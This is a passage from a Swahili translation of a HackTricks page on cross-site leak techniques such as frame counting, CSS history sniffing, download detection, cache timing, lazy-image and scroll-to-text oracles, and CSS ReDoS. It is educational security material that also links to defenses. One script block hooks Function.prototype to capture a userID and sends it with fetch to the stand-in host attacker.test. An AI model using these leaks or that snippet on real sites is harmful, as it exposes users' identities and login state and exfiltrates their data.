Zaidi ya hayo, ikiwa ukurasa una idadi ile ile ya frames kila wakati, kukagua mara kwa mara idadi ya frames kunaweza kusaidia kubaini mfumo ambao unaweza kuleta leak ya taarifa.

Mfano wa mbinu hii ni kwamba kwenye chrome, faili ya PDF inaweza kutambuliwa kwa kuhesabu frames kwa sababu embed inatumiwa ndani. Kuna Open URL Parameters zinazoruhusu udhibiti wa baadhi ya maudhui kama zoom, view, page, toolbar ambapo mbinu hii inaweza kuwa ya kuvutia.

HTMLElements

Ufunuliwa wa taarifa kupitia elementi za HTML ni tatizo katika usalama wa wavuti, hasa wakati faili za midia zinazotengenezwa kwa nguvu zinaegemea taarifa za mtumiaji, au wakati watermark zinaongezwa, zikibadilisha ukubwa wa midia. Hii inaweza kutumika na wawindaji wa taarifa kutofautisha kati ya hali zinazowezekana kwa kuchambua taarifa zinazofichuliwa na elementi fulani za HTML.

Information Exposed by HTML Elements

  • HTMLMediaElement: Elementi hii inaonyesha duration na nyakati za buffered za media, ambazo zinaweza kupatikana kupitia API yake. Read more about HTMLMediaElement
  • HTMLVideoElement: Inaonyesha videoHeight na videoWidth. Katika baadhi ya browsers, mali za ziada kama webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, na webkitDecodedFrameCount zinapatikana, zikitoa taarifa za kina zaidi kuhusu maudhui ya media. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): Kazi hii hutoa maelezo kuhusu ubora wa playback wa video, ikijumuisha totalVideoFrames, ambayo inaweza kuashiria kiasi cha data ya video iliyoshughulikiwa. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: Elementi hii inafichua height na width ya picha. Hata hivyo, ikiwa picha ni batili, mali hizi zitarudisha 0, na kazi ya image.decode() itakataliwa, ikionyesha kushindwa kupakia picha ipasavyo. Read more about HTMLImageElement

CSS Property

Web applications zinaweza kubadilisha mtindo wa tovuti kulingana na status ya mtumiaji. Faili za CSS za cross-origin zinaweza kuingizwa kwenye ukurasa wa mwindaji kwa kutumia elementi ya HTML link, na sheria hizo zitaendeshwa kwenye ukurasa wa mwindaji. Ikiwa ukurasa unabadilisha sheria hizi kwa njia ya dhahiri, mwindaji anaweza kutambua tofauti hizi kulingana na hali ya mtumiaji.
Kama mbinu ya leak, mwindaji anaweza kutumia window.getComputedStyle kusoma mali za CSS za elementi maalum ya HTML. Kwa matokeo, mwindaji anaweza kusoma mali zozote za CSS ikiwa elementi iliyothibitishwa na jina la mali inajulikana.

CSS History

Tip

According to this, this is not working in headless Chrome.

Selector ya CSS :visited inatumika kutoa mtindo tofauti kwa URL ikiwa tayari mtumiaji ameitembelea. Hapo zamani, getComputedStyle() inaweza kutumika kutambua tofauti hizi za mtindo. Hata hivyo, browsers za kisasa zimeweka hatua za usalama ili kuzuia njia hii kufichua hali ya link. Hatua hizi ni pamoja na kurejesha kila mara mtindo uliopimwa kana kwamba link ilikuwa imetembelewa na kupunguza aina za mitindo zinazoruhusiwa na selector ya :visited.

Licha ya vizuizi hivi, inawezekana kubaini hali ya kutembelewa ya link kwa njia isiyo ya moja kwa moja. Mbinu moja ni kumshawishi mtumiaji kuingiliana na eneo lililoongezwa na CSS, hasa kutumia mali ya mix-blend-mode. Mali hii inaruhusu kuchanganya elementi na background yao, ambayo inaweza kufichua hali ya kutembelewa kulingana na mwingiliano wa mtumiaji.

Zaidi ya hayo, utambuzi unaweza kufanywa bila mwingiliano wa mtumiaji kwa kutumia nyakati za rendering za links. Kwa kuwa browsers zinaweza ku-render links zilizotembelewa na zisizotembelewa tofauti, hii inaweza kuleta tofauti ya wakati inayopimika katika rendering. PoC ilitajwa katika ripoti ya bug ya Chromium, ikionyesha mbinu hii kwa kutumia links nyingi kuongeza tofauti ya timing, hivyo kufanya hali ya kutembelewa iweze kutambulika kupitia uchambuzi wa timing.

Kwa maelezo zaidi juu ya mali na mbinu hizi, tembelea kurasa zao za nyaraka:

ContentDocument X-Frame Leak

Kwenye Chrome, ikiwa ukurasa uliowekwa header ya X-Frame-Options kuwa “deny” au “same-origin” unaingizwa kama object, ukurasa wa makosa utaonekana. Chrome kwa njia yake hurudisha document object tupu (badala ya null) kwa mali ya contentDocument ya object hii, tofauti na iframes au browsers nyingine. Wawindaji wanaweza kutumia hili kwa kutambua document tupu, jambo ambalo linaweza kufichua taarifa kuhusu hali ya mtumiaji, hasa ikiwa watengenezaji hawatoi X-Frame-Options kwa uthabiti, mara nyingi wakisahau kurasa za makosa. Uelewa na matumizi ya mara kwa mara ya headers za usalama ni muhimu kuzuia leak hizi.

Download Detection

Header ya Content-Disposition, hasa Content-Disposition: attachment, inaelekeza browser kupakua maudhui badala ya kuonyesha kizuani. Tabia hii inaweza kutumiwa kugundua ikiwa mtumiaji anaweza kufikia ukurasa unaosababisha download ya faili. Kwenye browsers zinazoendeshwa na Chromium, kuna mbinu kadhaa za kugundua tabia hii ya download:

  1. Download Bar Monitoring:
  • Wakati faili inapopakuliwa kwenye browsers za Chromium, kuna download bar inayoonekana chini ya dirisha la browser.
  • Kwa kufuatilia mabadiliko katika urefu wa window, wafanya utekesho wanaweza kubaini kuonekana kwa download bar, ikionyesha kuwa download imeanzishwa.
  1. Download Navigation with Iframes:
  • Wakati ukurasa unasababisha download ya faili kwa kutumia header Content-Disposition: attachment, haileti tukio la navigation.
  • Kwa kupakia maudhui katika iframe na kufuatilia matukio ya navigation, inawezekana kuangalia ikiwa disposition ya maudhui inasababisha download ya faili (hakuna navigation) au la.
  1. Download Navigation without Iframes:
  • Sawia na mbinu ya iframe, mbinu hii inahusisha kutumia window.open badala ya iframe.
  • Kufuatilia matukio ya navigation kwenye dirisha lililofunguliwa kunaweza kufichua ikiwa download ya faili ilizinduliwa (hakuna navigation) au ikiwa maudhui yanaonyeshwa inline (navigation inatokea).

Katika matukio ambapo ni watumiaji waliologra tu wanaoweza kusababisha downloads hizi, mbinu hizi zinaweza kutumika kwa njia isiyo ya moja kwa moja kubaini hali ya uthibitisho ya mtumiaji kulingana na jibu la browser kwa ombi la download.

Partitioned HTTP Cache Bypass

Warning

This is why this technique is interesting: Chrome now has cache partitioning, and the cache key of the newly opened page is: (https://actf.co, https://actf.co, https://sustenance.web.actf.co/?m =xxx), but if I open an ngrok page and use fetch in it, the cache key will be: (https://myip.ngrok.io, https://myip.ngrok.io, https://sustenance.web.actf.co/?m=xxx), the cache key is different, so the cache cannot be shared. You can find more detail here: Gaining security and privacy by partitioning the cache
(Comment from here)

Ikiwa site example.com inaingiza rasilimali kutoka *.example.com/resource basi rasilimali hiyo itakuwa na kiufi cha caching sawa na kama rasilimali iliteuliwa moja kwa moja kupitia navigation ya top-level. Hii ni kwa sababu kiufi cha caching kinatokana na top-level eTLD+1 na frame eTLD+1.

Kwa sababu kufikia cache ni haraka kuliko kupakia rasilimali, inawezekana kujaribu kubadilisha eneo la ukurasa na kuisitisha baada ya 20ms (kwa mfano). Ikiwa asili ilibadilika baada ya kusitisha, ina maana rasilimali ilikuwa imecached.
Au unaweza tu kutuma fetch kwa ukurasa unaoweza kuwa umecached na kupima muda unaochukua.

Manual Redirect

Fetch with AbortController

Tumia fetch na setTimeout pamoja na AbortController ili kugundua kama rasilimali imecached na pia kuondoa rasilimali maalum kutoka kwenye browser cache. Zaidi ya hayo, mchakato hufanyika bila kukaa na kukasha maudhui mapya kwenye cache.

Script Pollution

Prototype hooks to exfiltrate module-scoped data

Pre-define Function.prototype.default and Function.prototype.__esModule = 1 before loading a module so its default export calls your hook (e.g., receives {userID: ...}), letting you read module-scoped values without timing or brute force.

<script>
Function.prototype.default=(e)=>{if(typeof e.userID==="string")fetch("//attacker.test/?id="+e.userID)}
Function.prototype.__esModule=1
</script>
<script src="https://www.facebook.com/signals/iwl.js?pixel_id=PIXEL_ID"></script>

Maombi yenyewe pia yanageuka kuwa login-state oracle ikiwa script inabaki kupakia tu kwa watumiaji walio-authenticated.

Service Workers

Kwenye mazingira yaliyotolewa, attacker anachukua hatua ya kusajili service worker ndani ya moja ya domains zao, hasa “attacker.com”. Kisha, attacker hufungua window mpya kwenye tovuti lengwa kutoka kwenye document kuu na kuamuru service worker kuanza timer. Wakati window mpya inaanza kupakia, attacker hupeleka reference iliyopatikana katika hatua iliyopita kwenda kwenye ukurasa unaosimamiwa na service worker.

Wakati ombi lililotumwa katika hatua iliyotangulia linapofika, service worker hutuma majibu yenye status code 204 (No Content), na hivyo kumaliza mchakato wa navigation. Katika hatua hii, service worker inachukua kipimo kutoka kwa timer iliyozinduliwa hapo awali katika hatua ya pili. Kipimo hiki kinaathiriwa na muda ambao JavaScript inachukua kusababisha ucheleweshaji katika mchakato wa navigation.

Warning

Katika execution timing inawezekana kuondoa network factors ili kupata vipimo sahihi zaidi. Kwa mfano, kwa kupakia resources zinazotumiwa na ukurasa kabla ya kuupakia.

Fetch Timing

Cross-Window Timing

Subdomain probing for identity/login state

  • Inclusion Methods: HTML Elements (script), Frames
  • Detectable Difference: DNS/HTTP load success, CORB/header changes
  • Summary: Ikiwa vitambulisho viko katika lebo za subdomain (mfano, www.<username>.sb.facebook.com), omba rasilimali kwenye hosts wanayoweza kuwa wagombea na chukulia onload dhidi ya onerror/timeouts kama Boolean. Changanya na login-only scripts (mfano, /signals/iwl.js) ili kufanya brute-force ya usernames na kuthibitisha auth kwa properties zinazohusiana.
  • Note: Signals zinaweza kuongezwa kwa aina tofauti za ujumuishaji (script, iframe, object) ili kugundua tofauti za X-Frame-Options, CORB, au redirect kwa kila mgombea.

With HTML or Re Injection

Hapa kuna techniques za exfiltrate taarifa kutoka cross-origin HTML injecting HTML content. Techniques hizi zinavutia katika matukio ambapo kwa sababu yoyote unaweza inject HTML but you cannot inject JS code.

Dangling Markup

Dangling Markup - HTML scriptless injection

Image Lazy Loading

Ikiwa unahitaji exfiltrate content na unaweza add HTML previous to the secret unapaswa kuangalia common dangling markup techniques.
Hata hivyo, ikiwa kwa sababu yoyote lazima ufanye hivyo char by char (labda mawasiliano ni kupitia cache hit) unaweza kutumia mbinu hii.

Images in HTML ina sifa ya “loading” yenye thamani inaweza kuwa “lazy”. Katika hiyo hali, picha itapakiwa wakati itaonekana na si wakati ukurasa unapopakika:

<img src=/something loading=lazy >

Kwa hivyo, kile unaweza kufanya ni add a lot of junk chars (Kwa mfano thousands of “W“s) ili fill the web page before the secret or add something like <br><canvas height="1850px"></canvas><br>.
Kisha, kwa mfano, ikiwa yetu injection appear before the flag, ile image ingepakiwa, lakini ikiwa itaonekana after the flag, flag + the junk vitaizuia prevent it from being loaded (utahitaji kujaribu ni kiasi gani cha junk cha kuweka). Hili ndilo lililotokea katika this writeup.

Chaguo jingine ni kutumia the scroll-to-text-fragment ikiwa inaruhusiwa:

Scroll-to-text-fragment

Hata hivyo, unaweza kufanya the bot access the page kwa kitu kama

#:~:text=SECR

Hivyo ukurasa wa wavuti utakuwa kama: https://victim.com/post.html#:~:text=SECR

Ambapo post.html ina attacker junk chars na lazy load image na kisha siri ya bot inaongezwa.

Matini hii itafanya bot kusoma maandishi yoyote kwenye ukurasa yanayojumuisha maandishi SECR. Kwa kuwa maandishi hayo ni siri na yako tu chini ya image, image itapakia tu ikiwa siri iliyokadiriwa ni sahihi. Kwa hivyo hapa una oracle yako ya exfiltrate the secret char by char.

Mfano la code la ku-exploit hili: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Image Lazy Loading Time Based

Ikiwa si inawezekani kupakia external image ambayo inaweza kumwonyesha attacker kwamba image ilipakiwa, chaguo jingine ni kujaribu ku-guess char mara kadhaa na kupima hilo. Ikiwa image imepakiwa, requests zote zitachukua muda mrefu kuliko pale image haijapakiwa. Hili ndilo lililotumika katika the solution of this writeup sumarized here:

Event Loop Blocking + Lazy images

ReDoS

Regular expression Denial of Service - ReDoS

CSS ReDoS

Ikiwa jQuery(location.hash) inatumiwa, inawezekana kugundua kwa kupitia timing ikuna baadhi ya HTML yaliyopo, hii ni kwa sababu ikiwa selector main[id='site-main'] haifai haitahitaji kukagua sehemu nyingine za selectors:

$(
"*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']"
)

CSS Injection

CSS Injection

Ulinzi

Kuna mapendekezo ya kupunguza katika https://xsinator.com/paper.pdf pia katika kila sehemu ya wiki https://xsleaks.dev/. Angalia pale kwa habari zaidi kuhusu jinsi ya kujilinda dhidi ya mbinu hizi.

Marejeleo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks